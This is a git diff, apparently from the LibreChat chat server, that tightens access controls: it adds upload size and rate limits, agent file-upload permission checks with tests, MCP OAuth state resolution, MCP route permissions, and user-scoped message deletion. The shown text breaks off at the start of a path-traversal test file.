 const { logger } = require('@librechat/data-schemas');
 const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
 const {
@@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => {
 });
 
 const { importIpLimiter, importUserLimiter } = createImportLimiters();
+/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
 const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
-const upload = multer({ storage: storage, fileFilter: importFileFilter });
+const importMaxFileSize = resolveImportMaxFileSize();
+const upload = multer({
+  storage,
+  fileFilter: importFileFilter,
+  limits: { fileSize: importMaxFileSize },
+});
+const uploadSingle = upload.single('file');
+
+function handleUpload(req, res, next) {
+  uploadSingle(req, res, (err) => {
+    if (err && err.code === 'LIMIT_FILE_SIZE') {
+      return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+    }
+    if (err) {
+      return next(err);
+    }
+    next();
+  });
+}
 
 /**
  * Imports a conversation from a JSON file and saves it to the database.
@@ -238,7 +257,7 @@ router.post(
   importIpLimiter,
   importUserLimiter,
   configMiddleware,
-  upload.single('file'),
+  handleUpload,
   async (req, res) => {
     try {
       /* TODO: optimize to return imported conversations and add manually */
@@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
   }
 });
 
-router.post('/duplicate', async (req, res) => {
+router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
   const { conversationId, title } = req.body;
 
   try {
diff --git a/api/server/routes/files/files.js b/api/server/routes/files/files.js
index 5de2ddb379..9290d1a7ed 100644
--- a/api/server/routes/files/files.js
+++ b/api/server/routes/files/files.js
@@ -2,12 +2,12 @@ const fs = require('fs').promises;
 const express = require('express');
 const { EnvVar } = require('@librechat/agents');
 const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
 const {
   Time,
   isUUID,
   CacheKeys,
   FileSources,
-  SystemRoles,
   ResourceType,
   EModelEndpoint,
   PermissionBits,
@@ -381,48 +381,15 @@ router.post('/', async (req, res) => {
       return await processFileUpload({ req, res, metadata });
     }
 
-    /**
-     * Check agent permissions for permanent agent file uploads (not message attachments).
-     * Message attachments (message_file=true) are temporary files for a single conversation
-     * and should be allowed for users who can chat with the agent.
-     * Permanent file uploads to tool_resources require EDIT permission.
-     */
-    const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true';
-    if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) {
-      const userId = req.user.id;
-
-      /** Admin users bypass permission checks */
-      if (req.user.role !== SystemRoles.ADMIN) {
-        const agent = await getAgent({ id: metadata.agent_id });
-
-        if (!agent) {
-          return res.status(404).json({
-            error: 'Not Found',
-            message: 'Agent not found',
-          });
-        }
-
-        /** Check if user is the author or has edit permission */
-        if (agent.author.toString() !== userId) {
-          const hasEditPermission = await checkPermission({
-            userId,
-            role: req.user.role,
-            resourceType: ResourceType.AGENT,
-            resourceId: agent._id,
-            requiredPermission: PermissionBits.EDIT,
-          });
-
-          if (!hasEditPermission) {
-            logger.warn(
-              `[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
-            );
-            return res.status(403).json({
-              error: 'Forbidden',
-              message: 'Insufficient permissions to upload files to this agent',
-            });
-          }
-        }
-      }
+    const denied = await verifyAgentUploadPermission({
+      req,
+      res,
+      metadata,
+      getAgent,
+      checkPermission,
+    });
+    if (denied) {
+      return;
     }
 
     return await processAgentFileUpload({ req, res, metadata });
diff --git a/api/server/routes/files/images.agents.test.js b/api/server/routes/files/images.agents.test.js
new file mode 100644
index 0000000000..862ab87d63
--- /dev/null
+++ b/api/server/routes/files/images.agents.test.js
@@ -0,0 +1,376 @@
+const express = require('express');
+const request = require('supertest');
+const mongoose = require('mongoose');
+const { v4: uuidv4 } = require('uuid');
+const { createMethods } = require('@librechat/data-schemas');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const {
+  SystemRoles,
+  AccessRoleIds,
+  ResourceType,
+  PrincipalType,
+} = require('librechat-data-provider');
+const { createAgent } = require('~/models/Agent');
+
+jest.mock('~/server/services/Files/process', () => ({
+  processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
+    return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
+  }),
+  processImageFile: jest.fn().mockImplementation(async ({ res }) => {
+    return res.status(200).json({ message: 'Image processed' });
+  }),
+  filterFile: jest.fn(),
+}));
+
+jest.mock('fs', () => {
+  const actualFs = jest.requireActual('fs');
+  return {
+    ...actualFs,
+    promises: {
+      ...actualFs.promises,
+      unlink: jest.fn().mockResolvedValue(undefined),
+    },
+  };
+});
+
+const fs = require('fs');
+const { processAgentFileUpload } = require('~/server/services/Files/process');
+
+const router = require('~/server/routes/files/images');
+
+describe('POST /images - Agent Upload Permission Check (Integration)', () => {
+  let mongoServer;
+  let authorId;
+  let otherUserId;
+  let agentCustomId;
+  let User;
+  let Agent;
+  let AclEntry;
+  let methods;
+  let modelsToCleanup = [];
+
+  beforeAll(async () => {
+    mongoServer = await MongoMemoryServer.create();
+    const mongoUri = mongoServer.getUri();
+    await mongoose.connect(mongoUri);
+
+    const { createModels } = require('@librechat/data-schemas');
+    const models = createModels(mongoose);
+    modelsToCleanup = Object.keys(models);
+    Object.assign(mongoose.models, models);
+    methods = createMethods(mongoose);
+
+    User = models.User;
+    Agent = models.Agent;
+    AclEntry = models.AclEntry;
+
+    await methods.seedDefaultRoles();
+  });
+
+  afterAll(async () => {
+    const collections = mongoose.connection.collections;
+    for (const key in collections) {
+      await collections[key].deleteMany({});
+    }
+    for (const modelName of modelsToCleanup) {
+      if (mongoose.models[modelName]) {
+        delete mongoose.models[modelName];
+      }
+    }
+    await mongoose.disconnect();
+    await mongoServer.stop();
+  });
+
+  beforeEach(async () => {
+    await Agent.deleteMany({});
+    await User.deleteMany({});
+    await AclEntry.deleteMany({});
+
+    authorId = new mongoose.Types.ObjectId();
+    otherUserId = new mongoose.Types.ObjectId();
+    agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
+
+    await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
+    await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
+
+    jest.clearAllMocks();
+  });
+
+  const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
+    const app = express();
+    app.use(express.json());
+    app.use((req, _res, next) => {
+      if (req.method === 'POST') {
+        req.file = {
+          originalname: 'test.png',
+          mimetype: 'image/png',
+          size: 100,
+          path: '/tmp/t.png',
+          filename: 'test.png',
+        };
+        req.file_id = uuidv4();
+      }
+      next();
+    });
+    app.use((req, _res, next) => {
+      req.user = { id: userId.toString(), role: userRole };
+      req.app = { locals: {} };
+      req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
+      next();
+    });
+    app.use('/images', router);
+    return app;
+  };
+
+  it('should return 403 when user has no permission on agent', async () => {
+    await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(403);
+    expect(response.body.error).toBe('Forbidden');
+    expect(processAgentFileUpload).not.toHaveBeenCalled();
+    expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+  });
+
+  it('should allow upload for agent owner', async () => {
+    await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const app = createAppWithUser(authorId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+    expect(processAgentFileUpload).toHaveBeenCalled();
+  });
+
+  it('should allow upload for admin regardless of ownership', async () => {
+    await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+    expect(processAgentFileUpload).toHaveBeenCalled();
+  });
+
+  it('should allow upload for user with EDIT permission', async () => {
+    const agent = await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const { grantPermission } = require('~/server/services/PermissionService');
+    await grantPermission({
+      principalType: PrincipalType.USER,
+      principalId: otherUserId,
+      resourceType: ResourceType.AGENT,
+      resourceId: agent._id,
+      accessRoleId: AccessRoleIds.AGENT_EDITOR,
+      grantedBy: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+    expect(processAgentFileUpload).toHaveBeenCalled();
+  });
+
+  it('should deny upload for user with only VIEW permission', async () => {
+    const agent = await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const { grantPermission } = require('~/server/services/PermissionService');
+    await grantPermission({
+      principalType: PrincipalType.USER,
+      principalId: otherUserId,
+      resourceType: ResourceType.AGENT,
+      resourceId: agent._id,
+      accessRoleId: AccessRoleIds.AGENT_VIEWER,
+      grantedBy: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(403);
+    expect(response.body.error).toBe('Forbidden');
+    expect(processAgentFileUpload).not.toHaveBeenCalled();
+    expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+  });
+
+  it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+  });
+
+  it('should return 404 for non-existent agent', async () => {
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: 'agent_nonexistent123456789',
+      tool_resource: 'context',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(404);
+    expect(response.body.error).toBe('Not Found');
+    expect(processAgentFileUpload).not.toHaveBeenCalled();
+    expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+  });
+
+  it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
+    const agent = await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const { grantPermission } = require('~/server/services/PermissionService');
+    await grantPermission({
+      principalType: PrincipalType.USER,
+      principalId: otherUserId,
+      resourceType: ResourceType.AGENT,
+      resourceId: agent._id,
+      accessRoleId: AccessRoleIds.AGENT_VIEWER,
+      grantedBy: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      message_file: true,
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+    expect(processAgentFileUpload).toHaveBeenCalled();
+  });
+
+  it('should allow message_file attachment (string "true") without EDIT permission', async () => {
+    const agent = await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const { grantPermission } = require('~/server/services/PermissionService');
+    await grantPermission({
+      principalType: PrincipalType.USER,
+      principalId: otherUserId,
+      resourceType: ResourceType.AGENT,
+      resourceId: agent._id,
+      accessRoleId: AccessRoleIds.AGENT_VIEWER,
+      grantedBy: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      message_file: 'true',
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(200);
+    expect(processAgentFileUpload).toHaveBeenCalled();
+  });
+
+  it('should deny upload when message_file is false (not a message attachment)', async () => {
+    const agent = await createAgent({
+      id: agentCustomId,
+      name: 'Test Agent',
+      provider: 'openai',
+      model: 'gpt-4',
+      author: authorId,
+    });
+
+    const { grantPermission } = require('~/server/services/PermissionService');
+    await grantPermission({
+      principalType: PrincipalType.USER,
+      principalId: otherUserId,
+      resourceType: ResourceType.AGENT,
+      resourceId: agent._id,
+      accessRoleId: AccessRoleIds.AGENT_VIEWER,
+      grantedBy: authorId,
+    });
+
+    const app = createAppWithUser(otherUserId);
+    const response = await request(app).post('/images').send({
+      endpoint: 'agents',
+      agent_id: agentCustomId,
+      tool_resource: 'context',
+      message_file: false,
+      file_id: uuidv4(),
+    });
+
+    expect(response.status).toBe(403);
+    expect(response.body.error).toBe('Forbidden');
+    expect(processAgentFileUpload).not.toHaveBeenCalled();
+    expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+  });
+});
diff --git a/api/server/routes/files/images.js b/api/server/routes/files/images.js
index 8072612a69..185ec7a671 100644
--- a/api/server/routes/files/images.js
+++ b/api/server/routes/files/images.js
@@ -2,12 +2,15 @@ const path = require('path');
 const fs = require('fs').promises;
 const express = require('express');
 const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
 const { isAssistantsEndpoint } = require('librechat-data-provider');
 const {
   processAgentFileUpload,
   processImageFile,
   filterFile,
 } = require('~/server/services/Files/process');
+const { checkPermission } = require('~/server/services/PermissionService');
+const { getAgent } = require('~/models/Agent');
 
 const router = express.Router();
 
@@ -22,6 +25,16 @@ router.post('/', async (req, res) => {
     metadata.file_id = req.file_id;
 
     if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
+      const denied = await verifyAgentUploadPermission({
+        req,
+        res,
+        metadata,
+        getAgent,
+        checkPermission,
+      });
+      if (denied) {
+        return;
+      }
       return await processAgentFileUpload({ req, res, metadata });
     }
 
diff --git a/api/server/routes/mcp.js b/api/server/routes/mcp.js
index 2db8c2c462..57a99d199a 100644
--- a/api/server/routes/mcp.js
+++ b/api/server/routes/mcp.js
@@ -13,6 +13,7 @@ const {
   MCPOAuthHandler,
   MCPTokenStorage,
   setOAuthSession,
+  PENDING_STALE_MS,
   getUserMCPAuthMap,
   validateOAuthCsrf,
   OAUTH_CSRF_COOKIE,
@@ -49,6 +50,18 @@ const router = Router();
 
 const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
 
+const checkMCPUsePermissions = generateCheckAccess({
+  permissionType: PermissionTypes.MCP_SERVERS,
+  permissions: [Permissions.USE],
+  getRoleByName,
+});
+
+const checkMCPCreate = generateCheckAccess({
+  permissionType: PermissionTypes.MCP_SERVERS,
+  permissions: [Permissions.USE, Permissions.CREATE],
+  getRoleByName,
+});
+
 /**
  * Get all MCP tools available to the user
  * Returns only MCP tools, completely decoupled from regular LibreChat tools
@@ -91,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
     }
 
     const oauthHeaders = await getOAuthHeaders(serverName, userId);
-    const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow(
+    const {
+      authorizationUrl,
+      flowId: oauthFlowId,
+      flowMetadata,
+    } = await MCPOAuthHandler.initiateOAuthFlow(
       serverName,
       serverUrl,
       userId,
@@ -101,6 +118,7 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
 
     logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
 
+    await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
     setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
     res.redirect(authorizationUrl);
   } catch (error) {
@@ -143,30 +161,52 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
       return res.redirect(`${basePath}/oauth/error?error=missing_state`);
     }
 
-    const flowId = state;
-    logger.debug('[MCP OAuth] Using flow ID from state', { flowId });
+    const flowsCache = getLogStores(CacheKeys.FLOWS);
+    const flowManager = getFlowStateManager(flowsCache);
+
+    const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
+    if (!flowId) {
+      logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
+      return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
+    }
+    logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
 
     const flowParts = flowId.split(':');
     if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
-      logger.error('[MCP OAuth] Invalid flow ID format in state', { flowId });
+      logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
       return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
     }
 
     const [flowUserId] = flowParts;
-    if (
-      !validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH) &&
-      !validateOAuthSession(req, flowUserId)
-    ) {
-      logger.error('[MCP OAuth] CSRF validation failed: no valid CSRF or session cookie', {
-        flowId,
-        hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
-        hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
-      });
-      return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+
+    const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
+    const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
+    let hasActiveFlow = false;
+    if (!hasCsrf && !hasSession) {
+      const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
+      hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
+      if (hasActiveFlow) {
+        logger.debug(
+          '[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
+          {
+            flowId,
+          },
+        );
+      }
     }
 
-    const flowsCache = getLogStores(CacheKeys.FLOWS);
-    const flowManager = getFlowStateManager(flowsCache);
+    if (!hasCsrf && !hasSession && !hasActiveFlow) {
+      logger.error(
+        '[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
+        {
+          flowId,
+          hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
+          hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
+        },
+      );
+      return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+    }
 
     logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
     const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
@@ -281,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
     const toolFlowId = flowState.metadata?.toolFlowId;
     if (toolFlowId) {
       logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
-      await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+      const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+      if (!completed) {
+        logger.warn(
+          '[MCP OAuth] Tool flow state not found during completion — waiter will time out',
+          { toolFlowId },
+        );
+      }
     }
 
     /** Redirect to success page with flowId and serverName */
@@ -436,69 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
  * Reinitialize MCP server
  * This endpoint allows reinitializing a specific MCP server
  */
-router.post('/:serverName/reinitialize', requireJwtAuth, setOAuthSession, async (req, res) => {
-  try {
-    const { serverName } = req.params;
-    const user = createSafeUser(req.user);
+router.post(
+  '/:serverName/reinitialize',
+  requireJwtAuth,
+  checkMCPUsePermissions,
+  setOAuthSession,
+  async (req, res) => {
+    try {
+      const { serverName } = req.params;
+      const user = createSafeUser(req.user);
 
-    if (!user.id) {
-      return res.status(401).json({ error: 'User not authenticated' });
-    }
+      if (!user.id) {
+        return res.status(401).json({ error: 'User not authenticated' });
+      }
 
-    logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
+      logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
 
-    const mcpManager = getMCPManager();
-    const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
-    if (!serverConfig) {
-      return res.status(404).json({
-        error: `MCP server '${serverName}' not found in configuration`,
+      const mcpManager = getMCPManager();
+      const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
+      if (!serverConfig) {
+        return res.status(404).json({
+          error: `MCP server '${serverName}' not found in configuration`,
+        });
+      }
+
+      await mcpManager.disconnectUserConnection(user.id, serverName);
+      logger.info(
+        `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
+      );
+
+      /** @type {Record<string, Record<string, string>> | undefined} */
+      let userMCPAuthMap;
+      if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
+        userMCPAuthMap = await getUserMCPAuthMap({
+          userId: user.id,
+          servers: [serverName],
+          findPluginAuthsByKeys,
+        });
+      }
+
+      const result = await reinitMCPServer({
+        user,
+        serverName,
+        userMCPAuthMap,
       });
-    }
 
-    await mcpManager.disconnectUserConnection(user.id, serverName);
-    logger.info(
-      `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
-    );
+      if (!result) {
+        return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
+      }
 
-    /** @type {Record<string, Record<string, string>> | undefined} */
-    let userMCPAuthMap;
-    if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
-      userMCPAuthMap = await getUserMCPAuthMap({
-        userId: user.id,
-        servers: [serverName],
-        findPluginAuthsByKeys,
+      const { success, message, oauthRequired, oauthUrl } = result;
+
+      if (oauthRequired) {
+        const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
+        setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+      }
+
+      res.json({
+        success,
+        message,
+        oauthUrl,
+        serverName,
+        oauthRequired,
       });
+    } catch (error) {
+      logger.error('[MCP Reinitialize] Unexpected error', error);
+      res.status(500).json({ error: 'Internal server error' });
     }
-
-    const result = await reinitMCPServer({
-      user,
-      serverName,
-      userMCPAuthMap,
-    });
-
-    if (!result) {
-      return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
-    }
-
-    const { success, message, oauthRequired, oauthUrl } = result;
-
-    if (oauthRequired) {
-      const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
-      setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
-    }
-
-    res.json({
-      success,
-      message,
-      oauthUrl,
-      serverName,
-      oauthRequired,
-    });
-  } catch (error) {
-    logger.error('[MCP Reinitialize] Unexpected error', error);
-    res.status(500).json({ error: 'Internal server error' });
-  }
-});
+  },
+);
 
 /**
  * Get connection status for all MCP servers
@@ -605,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
  * Check which authentication values exist for a specific MCP server
  * This endpoint returns only boolean flags indicating if values are set, not the actual values
  */
-router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => {
+router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
   try {
     const { serverName } = req.params;
     const user = req.user;
@@ -662,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) {
 MCP Server CRUD Routes (User-Managed MCP Servers)
 */
 
-// Permission checkers for MCP server management
-const checkMCPUsePermissions = generateCheckAccess({
-  permissionType: PermissionTypes.MCP_SERVERS,
-  permissions: [Permissions.USE],
-  getRoleByName,
-});
-
-const checkMCPCreate = generateCheckAccess({
-  permissionType: PermissionTypes.MCP_SERVERS,
-  permissions: [Permissions.USE, Permissions.CREATE],
-  getRoleByName,
-});
-
 /**
  * Get list of accessible MCP servers
  * @route GET /api/mcp/servers
diff --git a/api/server/routes/messages.js b/api/server/routes/messages.js
index c208e9c406..03286bc7f1 100644
--- a/api/server/routes/messages.js
+++ b/api/server/routes/messages.js
@@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
 
 router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
   try {
-    const { messageId } = req.params;
-    await deleteMessages({ messageId });
+    const { conversationId, messageId } = req.params;
+    await deleteMessages({ messageId, conversationId, user: req.user.id });
     res.status(204).send();
   } catch (error) {
     logger.error('Error deleting message:', error);
diff --git a/api/server/routes/share.js b/api/server/routes/share.js
index 6400b8b637..296644afde 100644
--- a/api/server/routes/share.js
+++ b/api/server/routes/share.js
@@ -19,9 +19,7 @@ const allowSharedLinks =
   process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
 
 if (allowSharedLinks) {
-  const allowSharedLinksPublic =
-    process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
-    isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
+  const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
   router.get(
     '/:shareId',
     allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
diff --git a/api/server/services/Endpoints/agents/addedConvo.js b/api/server/services/Endpoints/agents/addedConvo.js
index 7e9385267a..25b1327991 100644
--- a/api/server/services/Endpoints/agents/addedConvo.js
+++ b/api/server/services/Endpoints/agents/addedConvo.js
@@ -55,16 +55,16 @@ const processAddedConvo = async ({
   userMCPAuthMap,
 }) => {
   const addedConvo = endpointOption.addedConvo;
-  logger.debug('[processAddedConvo] Called with addedConvo:', {
-    hasAddedConvo: addedConvo != null,
-    addedConvoEndpoint: addedConvo?.endpoint,
-    addedConvoModel: addedConvo?.model,
-    addedConvoAgentId: addedConvo?.agent_id,
-  });
   if (addedConvo == null) {
     return { userMCPAuthMap };
   }
 
+  logger.debug('[processAddedConvo] Processing added conversation', {
+    model: addedConvo.model,
+    agentId: addedConvo.agent_id,
+    endpoint: addedConvo.endpoint,
+  });
+
   try {
     const addedAgent = await loadAddedAgent({ req, conversation: addedConvo, primaryAgent });
     if (!addedAgent) {
diff --git a/api/server/services/Endpoints/agents/initialize.js b/api/server/services/Endpoints/agents/initialize.js
index 0888f23cd5..e71270ef85 100644
--- a/api/server/services/Endpoints/agents/initialize.js
+++ b/api/server/services/Endpoints/agents/initialize.js
@@ -204,13 +204,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
   );
 
   logger.debug(
-    `[initializeClient] Tool definitions for primary agent: ${primaryConfig.toolDefinitions?.length ?? 0}`,
-  );
-
-  /** Store primary agent's tool context for ON_TOOL_EXECUTE callback */
-  logger.debug(`[initializeClient] Storing tool context for agentId: ${primaryConfig.id}`);
-  logger.debug(
-    `[initializeClient] toolRegistry size: ${primaryConfig.toolRegistry?.size ?? 'undefined'}`,
+    `[initializeClient] Storing tool context for ${primaryConfig.id}: ${primaryConfig.toolDefinitions?.length ?? 0} tools, registry size: ${primaryConfig.toolRegistry?.size ?? '0'}`,
   );
   agentToolContexts.set(primaryConfig.id, {
     agent: primaryAgent,
@@ -312,6 +306,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
       }
     } catch (err) {
       logger.error(`[initializeClient] Error processing agent ${agentId}:`, err);
+      skippedAgentIds.add(agentId);
     }
   }
 
@@ -321,7 +316,12 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
       if (checkAgentInit(agentId)) {
         continue;
       }
-      await processAgent(agentId);
+      try {
+        await processAgent(agentId);
+      } catch (err) {
+        logger.error(`[initializeClient] Error processing chain agent ${agentId}:`, err);
+        skippedAgentIds.add(agentId);
+      }
     }
     const chain = await createSequentialChainEdges([primaryConfig.id].concat(agent_ids), '{convo}');
     collectEdges(chain);
diff --git a/api/server/services/Files/Code/__tests__/process-traversal.spec.js b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
new file mode 100644
index 0000000000..2db366d06b
--- /dev/null
+++ b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
@@ -0,0 +1,124 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+  getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
+}));
+
+const mockSanitizeFilename = jest.fn();
+
+jest.mock('@librechat/api', () => ({
+  logAxiosError: jest.fn(),
+  getBasePath: jest.fn(() => ''),
+  sanitizeFilename: mockSanitizeFilename,
+}));
+
+jest.mock('librechat-data-provider', () => ({
+  ...jest.requireActual('librechat-data-provider'),
+  mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
+  getEndpointFileConfig: jest.fn(() => ({
+    fileSizeLimit: 100 * 1024 * 1024,
+    supportedMimeTypes: ['*/*'],
+  })),
+  fileConfig: { checkType: jest.fn(() => true) },
+}));
+
+jest.mock('~/models', () => ({
+  createFile: jest.fn().mockResolvedValue({}),
+  getFiles: jest.fn().mockResolvedValue([]),
+  updateFile: jest.fn(),
+  claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
+}));
+
+const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
+
+jest.mock('~/server/services/Files/strategies', () => ({
